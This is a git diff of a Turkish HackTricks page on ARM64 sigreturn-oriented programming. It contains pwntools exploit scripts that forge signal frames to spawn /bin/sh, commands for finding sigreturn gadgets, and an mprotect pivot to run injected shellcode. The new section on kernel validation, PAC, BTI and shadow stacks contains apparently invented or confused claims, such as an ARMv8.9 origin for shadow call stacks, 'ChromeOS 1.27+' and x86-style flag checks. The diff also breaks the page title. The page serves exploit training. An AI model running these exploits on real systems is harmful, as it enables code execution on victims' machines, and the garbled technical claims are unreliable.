diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ac843b658..f32d94ada 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -1,4 +1,4 @@ -# SROP - ARM64 +# {{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}} @@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -103,7 +103,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -## sigreturn olmadan bof örneği +## bof örneği sigreturn olmadan ### Kod ```c @@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh")) stack_offset = 72 sigreturn = 0x00000000004006e0 # Call to sig -svc_call = 0x00000000004006e4 # svc #0x0 +svc_call = 0x00000000004006e4 # svc #0x0 frame = SigreturnFrame() frame.x8 = 0xdd # syscall number for execve @@ -165,16 +165,65 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -vdso hakkında daha fazla bilgi için kontrol edin: +Daha fazla bilgi için vdso'ya bakın: {{#ref}} ../ret2vdso.md {{#endref}} -Ve `/bin/sh` adresini atlatmak için, ona işaret eden birkaç ortam değişkeni oluşturabilirsiniz, daha fazla bilgi için: +Ve `/bin/sh` adresini atlamak için, ona işaret eden birkaç ortam değişkeni oluşturabilirsiniz, daha fazla bilgi için: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} +--- + +## `sigreturn` gadget'larını otomatik olarak bulma (2023-2025) + +Modern dağıtımlarda `sigreturn` trampolini hala **vDSO** sayfası tarafından dışa aktarılmaktadır, ancak tam ofset çekirdek sürümleri ve BTI (`+branch-protection`) veya PAC gibi derleme bayraklarına göre değişiklik gösterebilir. Keşfini otomatikleştirmek, ofsetleri sabit kodlamayı önler: +```bash +# With ROPgadget ≥ 7.4 +python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn + +# With rp++ ≥ 1.0.9 (arm64 support) +rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn +``` +Her iki araç da **AArch64** kodlamalarını anlar ve *SROP gadget* olarak kullanılabilecek `mov x8, 0x8b ; svc #0` dizilerini listeleyecektir. + +> Not: Binaries **BTI** ile derlendiğinde, her geçerli dolaylı dalış hedefinin ilk talimatı `bti c` olur. Bağlayıcı tarafından yerleştirilen `sigreturn` trampolinleri zaten doğru BTI iniş padini içerdiğinden, gadget yetkisiz koddan kullanılabilir durumda kalır. + +## SROP'u ROP ile Zincirleme (pivot `mprotect` aracılığıyla) + +`rt_sigreturn` bize *tüm* genel amaçlı kayıtları ve `pstate`'i kontrol etme imkanı verir. x86'da yaygın bir desen: 1) `mprotect` çağrısı için SROP kullanmak, 2) shell-code içeren yeni bir çalıştırılabilir yığına geçmek. Aynı fikir ARM64'te de çalışır: +```python +frame = SigreturnFrame() +frame.x8 = constants.SYS_mprotect # 226 +frame.x0 = 0x400000 # page-aligned stack address +frame.x1 = 0x2000 # size +frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC +frame.sp = 0x400000 + 0x100 # new pivot +frame.pc = svc_call # will re-enter kernel +``` +`0x400000+0x100` adresinde ham shell-code içeren ikinci bir aşama gönderebilirsiniz. **AArch64** *PC-relative* adresleme kullandığı için bu genellikle büyük ROP zincirleri oluşturmaktan daha kullanışlıdır. + +## Kernel doğrulaması, PAC & Shadow-Stacks + +Linux 5.16, kullanıcı alanı sinyal çerçevelerinin daha sıkı bir doğrulamasını tanıttı (commit `36f5a6c73096`). Kernel artık şunları kontrol eder: + +* `uc_flags`, `extra_context` mevcut olduğunda `UC_FP_XSTATE` içermelidir. +* `struct rt_sigframe` içindeki ayrılmış kelime sıfır olmalıdır. +* *extra_context* kaydındaki her işaretçi hizalanmış olmalı ve kullanıcı adres alanı içinde bir yere işaret etmelidir. + +`pwntools>=4.10`, uyumlu çerçeveleri otomatik olarak oluşturur, ancak bunları manuel olarak oluşturursanız *reserved*'ı sıfırla başlatmayı ve gerçekten ihtiyaç duymadıkça SVE kaydını atlamayı unutmayın—aksi takdirde `rt_sigreturn`, döndürmek yerine `SIGSEGV` ile sonuçlanır. + +Ana akım Android 14 ve Fedora 38 ile birlikte, kullanıcı alanı varsayılan olarak **PAC** (*Pointer Authentication*) ve **BTI** etkin olarak derlenmektedir (`-mbranch-protection=standard`). *SROP* kendisi etkilenmez çünkü kernel, yığın üzerinde kaydedilen doğrulanmış LR'yi atlayarak, oluşturulan çerçeveden doğrudan `PC`'yi yazar; ancak, dolaylı dallanmalar gerçekleştiren herhangi bir **sonraki ROP zinciri**, BTI etkin talimatlara veya PAC'li adreslere atlamak zorundadır. Gadget'ları seçerken bunu aklınızda bulundurun. + +ARMv8.9'da tanıtılan Shadow-Call-Stacks (ve zaten ChromeOS 1.27+ üzerinde etkin) bir derleyici düzeyinde hafifletme yöntemidir ve *SROP* ile *müdahale etmez* çünkü hiçbir dönüş talimatı yürütülmez—kontrol akışı kernel tarafından aktarılır. + +## Referanslar + +* [Linux arm64 sinyal işleme belgeleri](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}}